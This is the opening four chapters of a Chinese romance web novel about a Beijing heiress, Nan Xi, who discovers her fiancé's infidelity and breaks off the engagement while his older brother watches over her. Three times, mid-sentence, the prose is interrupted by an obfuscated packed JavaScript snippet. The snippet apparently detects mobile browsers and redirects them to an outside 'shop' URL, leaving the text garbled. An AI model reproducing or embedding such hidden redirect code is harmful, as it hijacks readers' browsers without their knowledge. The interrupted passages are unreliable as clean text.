《池南春水》 1. 第 1 章 南惜刚接完电话,告诉祁景之她在楼上。 从露台回到宴会厅,暖气扑面而来,驱散了春寒料峭附着的冷意。 柔白手肘慵懒地搭上护栏,她指尖捻着半杯果汁,闲闲望向楼下。 觥筹交错,舞池正酣,满目各色的高定礼服被水晶吊灯折射出梦幻般的光芒。 她今晚也应付了许久,才趁接电话躲清静。 岳澜一直在暗处观察。 妆容浅淡的一个姑娘,骨相却胜过楼下那些浓艳无比的花儿。 穿着也低调。 杏粉色抹胸礼服,从胸口往下缀着锦簇的同色花团。前短后长的鱼尾式裙摆,把一双纤细笔直的小腿归拢在百花中,像温柔的睡美人。 锁骨畔垂着的珍珠项链,和两滴白耳坠相得益彰。 从头到脚脱俗的贵气,倒不像这身衣服给她的,是浸到骨子里的雍容。 心底躁动按捺不住,岳澜噙着笑走向他今晚的猎物: “可否赏光,让我敬小姐一杯?” 南惜昂着下巴偏过头,凤眼轻撩,无声打量。 面前的一身价值不菲,腕间江诗丹顿百年收藏纪念款,全世界三块。国内仅有的一块在港岛岳家。 年龄估摸二十五以上,不到三十。她毫不费力得出此人身份——岳家风评最差的老五,岳澜。 自己流连花丛不说,还带坏她十八岁的小堂弟。 南惜眼底蕴着鄙夷,抬起左手:“岳公子,我订婚了。” 鸽子蛋大小的围镶钻戒,是她浑身最耀眼的装饰。 虽然这只是求婚戒指,还没到订婚那一步。 岳澜不意外被她认出,反而自豪,桃花眼愈□□荡:“让如此美丽的小姐落单,看来你那未婚夫也不怎么样。” 南惜扯了扯唇。 乔家举办名流峰会,逗留的外地人太多。本来京城圈子里没男人敢惹她,最近却时不时飞来一两只苍蝇。 昨天姜小姐婚宴上的插曲,未来婆婆那边还没动静,不知道听说没。今晚她想要清静些,不愿再生事。 估摸着那人也快要到了。 默数三秒,身后的空气急剧升温,一阵强势利落的风携着酒香入鼻。 揽上肩的力道很熟悉,将她亲昵地勾过去。 耳畔嗓音听着比岳澜更风流,懒散中夹着轻蔑:“谁说她一个人?” 南惜无比自然地挽住对方:“岳公子,失陪。” 直到再看不见两人背影,岳澜才转回头,眯眸喝了口红酒。 这女人还挺傲,自始至终没正眼瞧他。 藏在花厅的年轻男人走出来,轻笑:“你胆儿肥,连她都敢惹。” 岳澜下巴抬了抬,朝那对男女消失的方向:“係边个?” “你们港岛南家的孙小姐,京城祁氏集团最小的那位,掌上明珠。”年轻男人靠栏杆站定,一字一顿——“池家钦定的二少奶奶。” 岳澜失笑了一秒:“原来是她。” 三十年前的一桩旧闻可谓天下皆知。港岛首富南家大公子舍不得太太远嫁,为爱赴京。 所以南惜在京城长大,地地道道的北京妞,再有那样的家世,拿鼻孔看人也不奇怪。 “刚才那是她未婚夫?”岳澜若有所思地问,“和传闻不太一样。” 清贵卓绝,举止风流而不俗气,目空一切的松弛感。不刻意施压,也自然流露的上位者姿态。 只一眼,岳澜就知道惹不起。 年轻男人抿了口酒:“池昭明算个什么,这位是正儿八经的太子爷。” * 南惜被祁景之带进电梯,搂肩变成抓手腕。从一楼走廊到酒店前院,力道越来越不温柔。 也没顾及她脚下八公分的高跟鞋,几乎将她从地面上拎起来。 南惜踉跄着挣扎:“你松手。” 越过绿松石门槛,祁景之猝然松手。 她踩着高跟鞋没站稳,整个人歪在玉石抱柱上,回头愤愤瞪一眼:“祁景之你故意的吧!我得罪你了?” 电话里好好的,一见面这副鬼样,去迪拜出差是学变脸了? “还挺有自知之明。”男人走近一步,高大的身形压迫,嗓音一字一字地往下沉,“南惜,你最好给我个解释。” 她知道祁景之要什么解释,一刹那心虚起来,不敢抬眼。 今天帝景酒店不接待外宾,赴宴的都在楼上宴厅里,楼下安静得很。 门童眼观鼻鼻观心,知道这两位都是祖宗,惹不得,一动不动假装雕塑。 她不说话,祁景之也不给她逃跑的余地,漫长而静默地僵持。 直到手机铃声解救了她。 南惜打开贝壳手包,两人同时看见屏幕上的来电显示——田阿姨。 祁景之嗤了声,转身到台阶边缘,点了根烟。 南惜背对他站在石柱边,语气乖巧:“喂,田阿姨。” “我在帝景这边的晚宴。” 夜风像刀子割在皮肤上,南惜抬手摸了摸肩。 很快,带着体温的西服落下来,是她从小到大最熟悉的味道。 她鼻头酸了酸,没回头去看。 祁景之又回到另一边抽烟。 田蕙云混迹于豪门太太圈,努力学习人家的雍容贵气,多年东施效颦,还是没能丢掉骨子里的市侩。 一开口,略尖的嗓门暴露无疑: “听说你昨天在姜小姐婚礼上被骚扰了?还扇了贺公子一耳光?我叫你低调点,不要那么高调,你这样让昭明的面子往哪儿搁?” “都是要结婚的人了,收收心,不要老去外面抛头露面。” 南惜抬头看了看华丽的拼花穹顶,忽然被晃了眼睛:“阿姨,姜小姐是我好朋友,她婚礼,我该去的。” “都要结婚了还交什么朋友,那些出去玩的心都野,你别被她们带坏。以后你只要相夫教子,给昭明当好贤内助就可以了,又不要你出门应酬。”田蕙云有点不耐烦,仿佛觉得她不讲理似的。 南惜也不想和她掰扯。 她和池昭明约定好了,婚前稍微忍一忍他妈,婚后小两口住外面,不会让她插手太多。 长辈和年轻人之间,多的是阳奉阴违,面子过得去就行。 南惜只要乖巧本分,不惹事,池昭明允许她出去玩。 所以她没再反驳,淡淡“嗯”了声:“我知道了,阿姨。” “听话就好,我们昭明就喜欢你听话。”田蕙云态度这才缓和,随即一百八十度大转变:“对了,还有个事儿,你们家的嫁妆能不能添上宁安街那八家商铺?” 顿了顿,她连忙笑呵呵解释:“我是为你们好。昭明爸爸说了,你们出多少嫁妆,我们给双倍。你也知道昭明这孩子老实,不争不抢,又不会耍心眼,家里产业都在他大哥那儿。” 南惜没见过那位大哥,总是经田蕙云这张嘴描述,是个极其霸道,自私,冷血的人。 但外界传言,池靳予的确不是什么良善角色。商场上杀伐果断,不留情面。 还听说年纪大,长得丑,不近女色是因为那方 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14276976|151786||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面不行。 “凭什么呀,手心手背都是肉,不带偏心的。”田蕙云俨然一副可怜人姿态,半点没有刚才数落她时的气焰,“这是唯一能从他大哥手里多捞一点儿的机会,是昭明应得的。” 聘礼和嫁妆的规格议亲那天都已经定好,田蕙云忽然来这么一出,挺招人烦。 但南惜想着池昭明的话,暂且忍了。 她抬手摸摸额角:“我回去和爸妈商量。” “哎,那就这么说。”田蕙云嗓音欢快起来,“你少玩一会儿,早点回去休息啊,记得和你爸妈谈。” 目的达到,匆忙收了线。 祁景之看了眼她耷拉的头,剩一截烟蒂摁在鎏金垃圾桶顶端的灭烟台上。烟蒂折弯成两截,手捏的位置几乎被碾碎。 他的西装在南惜身上,单薄衬衫被风吹得鼓鼓作响。顶着夜间刺骨的气温,手揣进西裤兜里,缓步走到她正前方。 压低的嗓音如碎玉:“这婚你是非结不可?” 南惜低头看着他一尘不染的牛津皮鞋,连一丝褶皱都没有,表面太过光滑,接不住她错落而涣散的目光。 祁景之微微俯身,抬手撑在她背后石柱上:“议亲这么大事儿,你趁我出差,是怕我搅黄了?” “我没那么无聊。”空气被染上淡淡的烟味,南惜嫌弃,皱着眉推他,“让开。” 祁景之非但没让开,还抓住她手腕,撇到旁边,眸底肃然的凉意。 南惜随时准备踩烂他的高定皮鞋:“我叫人抓流氓了。” “行啊。”祁景之皮笑肉不笑地扯着唇,“叫人来抓你亲哥,看明天娱乐头条怎么写。” 祁景之是她亲哥,她随父姓,祁景之随母姓。大半轮,管起她来像个长辈。 爸爸退休后,祁景之彻底接管了企业。 但同样哥哥掌权,南惜和池昭明不一样。她有股份,有很多很多钱拿,祁景之老开玩笑,说他是在为她打工。 南惜倔强地把头偏开。 “你也就有本事跟我横。”祁景之站直了,居高临下,话音却夹着轻叹,“田蕙云欺负你拿捏你,没过门就给你立规矩,你在她面前倒乖巧。” 南惜心口堵了一下,但由于惯性忽略了这种感受,闷声道:“他妈妈也不容易,昭明说以后会向着我的。” 祁景之冷呵了声:“男人的鬼话你也信。” 南惜不满嘟哝:“您不也是男人,鬼话连篇。” 祁景之抬起拳头恨不得砸下去,劈开她脑门看看里面装的是什么。 想想又罢了。 没见过人间疾苦的小姑娘,乌托邦里的小公主,一头扎进爱情的虚幻泡泡里,这场梦不碎,她不会出来。 他收手,将她肩上的西服拢紧些,扣好扣子,虽然依旧很松垮,像小孩偷穿大人衣服。 南惜敢和他横,也是因为有恃无恐。祁景之再生气也不会真拿她怎样。 嘴上凶,还要怕她着凉感冒。 “他说什么你都信是吧?”祁景之看着裹在宽大西服里的纤瘦女孩,鸦黑色挺括的布料和花团锦簇的柔软裙摆碰撞出一种奇异的和谐。 她怎么穿都好看。 连哭都好看,但他舍不得她哭。 “他今晚在哪?”祁景之又问。 南惜攥着他的衣摆:“沪城,出差。” 祁景之嘴角一扯,嗓音发凉:“他这么跟你说的?” 南惜点头:“嗯。” 祁景之把手机拿出来,点了几下,转到她眼前:“出差陪女明星过生日?” 2. 第 2 章 指尖在光滑布料上留下深印,裸色长甲片嵌进去,传来本甲被掀翻的痛意,她才回神。 照片上的女人她知道,不算红,但演过一两部家喻户晓的片子。 今天生日还上了热搜。 她温婉地坐在沙发C位,盘着头发露出纤长脖颈。酒红色钉珠礼服裙,魅惑性感的深V领,沟壑若隐若现。颈间戴一串红宝石项链,耳坠也是红宝石,艳得灼人。 照片里七八个男女,她那顶着生日帽的脑袋偏偏歪向右侧的池昭明。 说合理也算合理,寿星和池家二公子坐C位,说暧昧,这个动作也略显暧昧。 重点是池昭明骗她。 一句“给朋友过生日”就能交代的事,他要骗她。 脑子里乱七八糟的念头飞窜着,有点恍惚,南惜闭了闭眼,从包里拿出车钥匙扔给祁景之:“送我回家。” 祁景之侧头吩咐门童,把她的车开到云宫。 不多会,银色劳斯莱斯幻影在面前停稳。 祁景之抬手拦在门框下,护着她的头,亲自俯身掖好礼服裙摆。 然后绕到对面上车。 司机还在等吩咐,祁景之问她:“回龙湖?” 坐进车里,南惜挺立的肩才微微塌下,似乎累极。她甩掉高跟鞋,抱膝把脸埋进西服领子,连嗓音都是飘的:“云宫。” 龙湖山庄是父母的庄园,云宫是她私人住处。 她刚给池昭明发了信息,今晚要一个解释。 这座移动的艺术宫殿,几乎听不见外界喧嚣,华丽的壳子平稳得仿佛静止。 只有窗外街景变幻个不停,像走马灯。 南惜想眯一会儿,睡不着,脑袋里充斥着光怪陆离的碎片,全都是她和池昭明的过往。 不知何时起,她开始对那些青春美好的画面感到酸楚和麻木。 堆积的情绪在这一刻有了确切的形状,像乌云压在头顶,不见天日。 二十分钟后,车停在亮如白昼的云宫地库。 南惜穿鞋下车,挺直了背,又变回精致优雅的白天鹅。地库奢华的格栅顶灯映照下,肌肤依旧如成色完美的羊脂玉般,没有毛孔和瑕疵。 她淡淡垂眸睇了眼西服:“蹭到口红了,还要吗?” 大少爷讲究多,直接扔垃圾桶的高定不在少数。 祁景之闲闲立在车边,环着手臂:“带回去给陈阿姨洗。” “哦。”南惜点点头,转身,“走了。” * 池昭明快零点才到。 那会儿南惜已经洗完澡,换了睡衣,客厅灯光调至昏暗的观影模式。 困乏袭来,听着催眠的肥皂剧眯了半个多小时。 门铃响起,她随手披了件小羊皮风衣,打开。 烟酒气囫囵扑面而来。 南惜捂鼻皱眉:“喝了多少?” “不多,半瓶。”池昭明神色如常,看起来没醉,手里还拿着车钥匙。 南惜眉头皱更紧了:“你自己开车来的?” “今晚场子特殊,没叫代驾。”池昭明熟门熟路地走进门。 呵,还挺照顾女明星隐私。 南惜心内哂笑。 看着他凌乱的头发,褶皱丛生的衬衫,满脸酒肉放纵后的油光,往日那个青春蓬勃的少年好像在她心里迷了路,找不回来了。 这一秒,她脑袋里划过一个不可思议的念头——分开。 大学毕业时,同窗一对对分道扬镳,池昭明开玩笑说咱们会不会也分了,她说不会。 池昭明第一次喝醉了发酒疯,吐在她沙发上,她也只是换了沙发,没想过换人。 后来他身上常有女用香水味,偶尔还会蹭上粉底或口红,他说是意外,一定不会让那些女人近他的身。 哄人的法子一套一套,赔礼都贵重。 南惜知道,池昭明一没资历二没靠山,在他哥手底下讨生活不易。 至于商业应酬,逢场作戏,她说服自己忍。 可就在刚刚,这个面容依旧年轻,却浑身上下散发着油腻腐朽的气息,甚至毫不在意地告诉她自己酒驾而来的男人,让她萌生了退却的心思。 她的标准从来没变过,但这些年来,他的底线却越来越低。 分开的念头吓了她自己一跳,但也只一瞬。她调整思绪,冷静下来。 见他穿皮鞋走进客厅,心脏一阵刺挠,攥紧手指吸了口气,说:“今晚的事你还没解释。” 池昭明在岛台边拧开水龙头,身子一僵。然后低头抹了把脸,拿纸巾擦干。 朝她看过来时,弯唇轻松地笑:“没什么,就一朋友过生日。” 南惜不笑,直勾勾盯着他:“那为什么跟我说在出差?” 池昭明把纸巾扔到岛台上,避开她注视:“怕你多想。” “怕什么?我会不让你去?”他逃避的表情像一根刺戳进她心里,怀疑的种子飞速生长,“你是心虚吗池昭明?不然为什么要骗我?你跟她是不是——” 池昭明略带烦躁瞥过去:“没有的事儿,你们女人怎么都这么——” 他声音倏然顿住。 南惜似笑非笑,眼神透凉:“还有哪个女人?” “你叫我来就是说这个?”池昭明忽略她的追问,走过来,手轻轻摁在墙上,轻浮地挑了挑她的下巴,“多大点事儿啊。我确实在沪城出差,晚上才回来,就被一哥们儿拉过去了,没来得及告诉你。而且你不是有晚宴要参加?不然我打算带你一块儿去的。别胡思乱想了,嗯?” 南惜不说话,他低下头接着哄:“我们都快结婚了,我努力工作,拓展人脉,是为了让你以后过得更舒坦啊。我知道你哥看不上我,我也不想让他看扁,觉得你嫁给我会受委屈。” 他永远都是这套说辞。 一开始让她很感动,久而久之就像空头支票,听听就算了。 南惜心如止水,推了推他,避过男人凑近的脸,去沙发上拿手机。 池昭明跟过来,从后面搂她腰。 酒味环绕,南惜紧皱着眉头,迅速点几下手机屏幕:“给您叫了代驾,走吧。” “您”,她又拿这种腔调阴阳他。 “这么嫌弃我?”池昭明也不恼,只想亲一口。 直接被她一巴掌拍开:“离我远点儿。” 池昭明知道她讲究,喝成这样能让他进门已经算仁慈。 于是勾了勾唇,从善如流地走到入户门口。 酒壮怂人胆,出门前他依旧不死心地问:“我们什么时候可以……” 句尾拖出一串暧昧的气音。 “结婚再说。”南惜一把将他推出去。 男人像一支弹簧,嬉笑的脸再次探进门内,十分认真地注视她几秒。 南惜眼睫微颤:“还干什么?” “南惜。”他忽然沉声叫她名字,意味深长地,“我喜欢你乖一点,你知道吧?” 抓着把手的指尖蜷住,南惜抿紧唇,没说话。 池昭明点到即止,转过身,步伐轻松地走向电梯厅。 脚步声逐渐远了,楼道感应灯次第熄灭,南惜合上门,靠着门板泄了气。 他的意思她知道。 她可以娇纵,可以闹脾气,可以对他态度不好。 但一定得听话。 挑高九米的大平层,二十四小时不间断的新风系统,这一刻,竟让她觉得呼吸滞涩。 是还未散尽的烟酒气吗?也不是。 像灵魂被困在了笼子里。 * 好端端闹这么一出,南惜吞了两片褪黑素, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14276977|151786||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 才勉强一睡到天明。 定制的婚戒下午到,她没让人送家里来,闷得慌,想出门逛逛,约好自己去珠宝店取。 南惜喜欢有故事的珠宝。 T&A作为新兴的高奢品牌,每款概念设计都像童话一样深邃又梦幻,店长跟她很熟,因为她几乎收藏了所有新款。 婚戒也是找T&A首席设计师定制,以她和池昭明青梅竹马的爱情故事为蓝本。 “您和先生的初遇是在秋天,枫叶正红的时候,所以皇冠采用红枫的艺术变形。男款戒托是您姓名的缩写,中间的闪电轮廓代表您和先生定情的雷雨天,您的戒指背面也刻有先生姓名……”店长亲自为她阐述。 期待已久的婚戒,此刻却没掀起多大波澜。 南惜面色平静地试了试女款尺码,刚好合适,让店长帮忙装起来。 顺便带了一整套安徒生联名款钻石摆件,和一只新上橱窗的纯金实心大貔貅摆件。 祁书艾说她最近财运不旺,送她只貔貅镇镇宅。 柜台里,两名店员交头接耳说着什么,偶尔朝她瞄一眼。 南惜没放在心上,猜是新来的员工,不认识她,惊讶于顾客的财大气粗。 等店长开单的时候,南惜坐在沙发上喝水,看见玻璃门隔开的商场里,走过西装革履的一行人。 他们停在对面的爱马仕门口。 为首的个子很高,穿一套深灰色西服,南惜眼尖,随便一瞟便知是高定款,和他身后那几个云泥之别。 侧后方的正和他说话,满脸堆笑,一副如履薄冰的卑躬屈膝。 那人回话时虽然依旧倨傲,背脊没弯下分毫,却礼节性地转过脸去看对方。 南惜也终于看清他模样。 骨骼清冷的一张脸,端肃周正,不苟言笑,但十分英俊。 精致流畅如艺术品的线条,无可挑剔的完美五官,称得上人间极品。 没人不喜欢帅哥,多看几眼也不亏。南惜双手捧着杯子,漫不经心地观察他。 仗着中间隔一层玻璃,她肆无忌惮,堂而皇之。 直到对方好像发现了什么,眼神薄薄地飘过来。 南惜猝不及防撞入一道意味不明的视线。 她无比淡定地撇开目光,抬手撩头发,假装整理耳环上的流苏。 她对自己的应变能力和表情管理很有信心,甚至一心二用,看帅哥的同时还知道那两名店员的交头接耳一直在持续。 一边观察她一边蛐蛐的行为,终究发展到令她不适的地步。 南惜清了清嗓,脆声带着点警告,昂首挺胸地走到收银台:“单开好了吗?” “好了南小姐,这是单据和戒指。”店长恭敬地将礼盒装袋递给她,“其余货品我们会送到府上,到时给您打电话。” 钻石和黄金摆件太重,她不方便拿。 南惜垂眸接过礼品袋:“貔貅送到澜心苑1幢,给祁小姐。” “好的。”店长笑盈盈送她出店门。 “谢谢。”走之前,南惜把墨镜戴好,红唇轻飘飘落下一句:“新员工建议培训好再上岗,让顾客感到不被尊重,在我那儿是要被解雇的,麻烦原话带给你们金总。” “……是,南小姐。”店长笑容一僵,回头看了眼那两名店员,脸色煞白,“真的不好意思。” 南惜头也不回地走下台阶,踩着高跟鞋脚底带风地去停车场,跨进磨砂紫色的法拉利跑车。 * 她在T&A的消费直接划账,因此刚刚没拿手机。 启动车子,等暖气烘起来的间隙,才想到看一眼新消息。 微博推送显示十分钟前,一条字体加粗的新闻—— 【池家二公子夜会女明星,爆出惊天大尺度照片!豪门联姻该何去何从?】 3. 第 3 章 女孩漫不经心的瞳孔倏然紧缩,眸底那一片清茶色微光,失控颤动。 推送的新闻标题,和一声又一声催命似的微信提示音,将她的脑子搅成一片浆糊。 南惜想起珠宝店那两名店员蛐蛐她时的八卦神色,心口再次被哽住。 她竭力冷静。 不会的,这太离谱了。 现在的媒体为了博眼球赚钱,还真是什么都敢编,一定要联系祁景之的律师团队,好好给他们个教训。 颤抖的手指删掉推送标题,再看不见碍眼的微博图标,虽然微信还在一条接一条涌进来。 她不想看,直接扔到了旁边。 跑车轰出停车场,在北三环公路上疾驰。 手机依旧锲而不舍地响,踩着油门的右脚越来越虚浮。 快要感受不到知觉前,她把车头猛戳进路边一块空地,踩下急刹。 身体由于惯性往前倾,手用力抵在方向盘上,错摁下喇叭,引来路人侧目。 南惜没心思注意他们,把车熄了火,缓缓。 几秒后,终究没忍住拿过手机。 微信群里,刚有人发出那张照片。 纯白被褥中,光着膀子拥着女人的那张侧脸,化成灰她都认识。 昨晚合照里微微偏过的那只脑袋,此刻就在他怀里,男人脖子和胸口还有暧昧的红印。 以前她从来不信,凭一张照片能讲故事。 可就是这样一帧画面,生动诠释出昨晚有多么激烈,不存在任何歪曲的成分。 没人能反驳,池昭明出轨了。 三岁相识,携手走过二十载光阴,霸占她整个青春,恋爱三年即将步入婚姻的这个男人,一声不响地背叛了她。 而这件关乎她幸福和尊严的事,她甚至不如那些网友知道得早。 群里@她的消息多如牛毛,看不过来。 【我早说池昭明那厮不靠谱,长得就一副渣男样!】 【南南别哭,为这种人不值得!】 【别难过宝贝[抱抱.jpg]】 【姐姐开新车带你去兜风~】 【宝贝,我哥的场子刚到一批小鲜肉[勾手指.jpg]甩了渣男,咱俩快活去。】 【狗男人找你道歉没?】 【呸,叫他狗男人都侮辱我家旺旺,死东西。】 都是京城有头有脸的名媛,平时姐妹长姐妹短,却各怀心思。 然而对于渣男,她们打心眼里同仇敌忾。 包括曾经追过祁景之,闹得沸沸扬扬不欢而散,就很少再和她说话的乔宜琳。 乔宜琳私发过来一串地址和电话:【有需要我帮你。】 地址应该是那个女明星的住宅。 南惜扯了扯唇,敲字:【谢谢,不用了。】 去找小三撕破脸大闹一场,除了为娱记提供素材,给网友当谈资,没有任何作用。 她不屑,也不想给别人看笑话。 自小昂首挺胸的骄傲不允许她这样。 祁书艾打电话来,她挂了,回过去一条消息,她现在不想听安慰。 骂池昭明的话在群里也看够了。 祁书艾:【那你什么时候需要,记得找我。】 南惜:【好,别担心。】 【我没事。】 港岛那边才知道消息,三姐南映雪是群里第一个说话的,气得直接甩了段方言语音:“池家嗰个扑街做咩啊?” 大堂哥南清曜紧接着回复:【我一早就知。】 南映雪:【???】 【你早知道你这么淡定?!】 南清曜:【取消婚约就是了。】 【他配不上惜惜,断掉也好。】 南映雪:【狗男没人性。】 南清曜:【你讲我?】 南映雪:【讲你啊还有边个?】 【平时没人性就算啦,满眼工作工作,自家小妹被欺负都没个态度。】 【你不出面,我亲自飞过去京城。】 没多久,四堂哥南清煜发了条语音:“三姐,咁夜打我电话?冇嘢啊?” 嗓子沙哑,朦胧又拖沓,显然是没睡醒。 现在美国时间凌晨两点多,南清煜还不知道这事,被一通越洋电话扰了梦。 南映雪:【老五被欺负了,我要去京城,限你明晚前跟我会合,去池家找那个衰人麻烦!】 家里除了她和在美国读研的南清煜,都有职位在身,还剩一个刚成年不久,便开始花天酒地的老六。 正是被岳澜带坏的那个。 南禹辰:【三姐带我。】 南映雪:【滚。】 渣男在她眼里一视同仁。 南清煜没说话,应该是去看国内新闻了。 一分钟后,南清曜在群里发了条消息: 【都不许擅作主张,安心待在港岛,清煜好好念书,京城的事景之会解决。】 南映雪:【你唔知道二哥几忙!】 南清曜:【够了,莫再讲了。】 【南家的人,不会被欺负。】 南惜闭了闭酸胀发热的眼睑,关掉微信,没在群里说话。 她是有足够的底气,不担心会被欺负,所以才一意孤行。就算池昭明有个那样的妈,在家中又无实权,她也敢随着心意嫁。 只要她喜欢,不用考虑任何因素。 可如今和池昭明走到这步,她不知道该如何面对为她撑腰的兄弟姐妹。 发烫的手机又响起来,情侣专属铃声,讽刺地萦绕在车厢内。 南惜听完一段副歌才接。 手机还连着蓝牙,池昭明心虚试探的语气被音响放大得明显:“昨晚睡得好吗?” 南惜没说话。 池昭明继续问:“中午吃的什么?” 她把手机扔到副驾驶,扭头看窗外,一对情侣相拥走过,频频回头欣赏她的跑车,说着什么。 女孩仰头对男孩撒娇,男孩摸了摸女孩头发。 像极他们刚在一起的时候。 “那个,婚戒拿到了吧?”池昭明嗓音更轻了些,“我今晚没有应酬,要不要……” 南惜看了眼手机,通话计时一秒秒过,对方的语气越发小心翼翼。 背景是他们的合照,此刻却像扎痛她双眼的针。 南惜不想再听一句废话:“关于你和那位的新闻,你还有什么要说的?” 池昭明呼吸顿住:“我可以解释……” 她言简意赅:“睡了?讲真话。” 池昭明犹豫几秒后,老实承认:“嗯。” 紧接着又说:“对不起。” 南惜的语气毫无波澜:“就昨晚?” “……嗯。”池昭明努力辩解,“不过真的是意外,我从你家出来心情不太好,又去找朋友喝了点酒,不小心喝多了。本来我跟她没什么,可是你误会……” “池昭明。”她冷冷打断他,“你工作是为了我,出去应酬和那些女的逢场作戏也是为了我,现在都跟别人上了床,还想赖在我头上?” “您要脸吗?” “我不是这个意思。”池昭明急得呼吸加重,“南惜我只是不小心,我保证以后不会再见她,连普通朋友都不做。” “随你便。”南惜疲惫地闭上眼睛,“以后你想怎样都跟我没关系。” 男人张了张口,还没说出的话被她轻飘飘堵回去:“分手吧。” 电话两头安静得过分,良久,池昭明哑着声求她:“宝贝,再给我一次机会行不行?我们马上要订婚了,刚发的请帖,京城所有家族都看着,还有你爸从港岛请来的亲戚……” “你负责你自己的事,我家人不用你管。”耐心耗尽,她有点烦躁,“挂了。” 说完毫不犹豫地按了下屏幕。 利落的嘟声后,世界清静。 车里闷得慌,南惜下车走到马路边,没有拿手机。 她不想再接任何电话,看任何消息。 天是阴的,灰蒙蒙罩在头顶,连乌云的轮廓都被模糊。 树叶被风吹得毫无章法地乱晃,同样凌乱的还有她披散的头发,和随着狂风不断被掀起落下,任意纠缠小腿的裙边。 一切都是那么乱和烦。 不知何时下起了雨。 一滴又一滴冰凉落在脸上,出门时特意打理过的头发沾了细密的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14276978|151786||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 雨丝,不再柔软蓬松,沉甸甸地贴住头皮。 冷意渗进皮肤,逐渐侵蚀血管和骨骼,从头到脚都冻得麻木。 南惜站了很久很久,忘了动,直到一片黑色从后面伸过来,顷刻间隔绝了雨点,和一部分凛冽的气温。 她抬头看了看雨伞,转过身。 是一个五官温润的西装男,对她礼貌地笑了笑:“雨大,小姐还是早些回家吧。” 陌生人的关心让她喉咙哽了哽,压住眼眶那阵热意,低声开口:“谢谢您,我没事。” 男人抬起手里另一把雨伞。 南惜怔了下,随即笑着拒绝:“不用,我车在那边,多谢您了。” 说完扭头走向人行道,就这么淋着雨回到车里。 池昭明没那么快放弃,这期间六个未接电话,许多条微信: 【南惜,我们再好好谈谈。】 【你要怎么才肯原谅我?你说,我什么都可以为你做。】 【两家联姻不是儿戏,我们不能这个节骨眼闹分手。】 【二十年的感情,你舍得吗?】 【我只是和她睡了一觉,你知道的,这在我们圈子里很正常,但我心里只有你,也只会和你结婚。】 南惜面无表情地看到最后,只回他三个字:【您脏了。】 拉黑手机号码,拉黑微信,她启动车子,将瓢泼大雨甩在尾翼后。 如同踢开出局的男人。 * 余沭阳回到副驾驶,一边把湿透的雨伞收拾好,一边小心翼翼朝后张望。 不知道这算不算工作失误。 迅速做了一番心理建设,余沭阳主动汇报:“池总,她没接。” 后座闭目养神的男人睁开眼:“她?” 余述阳察觉不妙,小心脏猛地一抖。 当了池靳予两年特助,余述阳自诩了解他。 老板看似冷淡却极易相处,只要工作完成好,私下里没那么多京城大家族的条条框框,让他这个外地人挺轻松。 可刚刚那个“她”字,好像让老板不高兴了。 意识到这点的余述阳赶紧重说:“南小姐的车就在附近,所以没接,我亲眼看着南小姐上车。” 池靳予这才舒开微蹙的眉头,拿手机看微信,嗓音透着懒:“嗯。” 危机解除,余述阳暗自松口气。 以后关于这位南小姐的话,看来不能再随意说了。不能你我他仨的,语气也不能不恭敬。 南小姐比他还小几岁,可没办法,谁让是老板家里人呢。 余沭阳一开始还纳闷儿,自家老板从商场出来就特意绕了一圈,后来又把车停在路边上,叫他下去给一姑娘送伞。 直到走近了,看清那张脸,居然是二少爷的未婚妻。 看来老板虽然对那位同父异母的弟弟态度冷淡,却还是在乎家人的。 余沭阳心想他的老板哪里像外界传闻那样,分明是英俊倜傥,聪慧卓越,雷厉风行,三观正得不能再正,哪怕性格的确不太有趣,但瑕不掩瑜。 现在还得加上一条,很有人情味。 于是他笑着问:“您回别墅还是公司?” 池靳予放下手机,清绝的眸微微撩起,不远处一辆法拉利从空地驶出来,在风雨中如同紫色的闪电。 他抬了抬眉,声音磁沉冷静:“跟着。” 司机立马启动车子。 跑车在前方顶速疾驰,过弯也不压速度。这辆加长的宾利慕尚虽然动力不逊,但车身远不如小巧如游龙的法拉利灵活。 何况要经过晚高峰的京城三环线。 说是跟着,倒像押车护航。 经过拥堵路段时,法拉利在前方穿插改道,宾利始终要保持和它同一车道,避免跟丢。 余沭阳从没见这辆车被这样开过。 虽然司机是老板千挑万选,车技高超,他不用担心安全问题,还是悬着颗脑袋,紧张出一身冷汗。 一直到龙湖山庄附近的路口,后排男人让车停下。 那一道紫色闪电完好无损地窜进电动门,顷刻没入深沉的夜色。 池靳予收回目光,冷淡掀唇:“回公司。” 4. 第 4 章 南惜本来要回云宫,路上接到父母电话,让她马上去龙湖山庄,有事要谈。 不用猜,一定是池昭明那点破事。 南惜心里烦着,把车随意横在主楼的地下车库,一下车,就碰上亲自来接她的管家严叔。 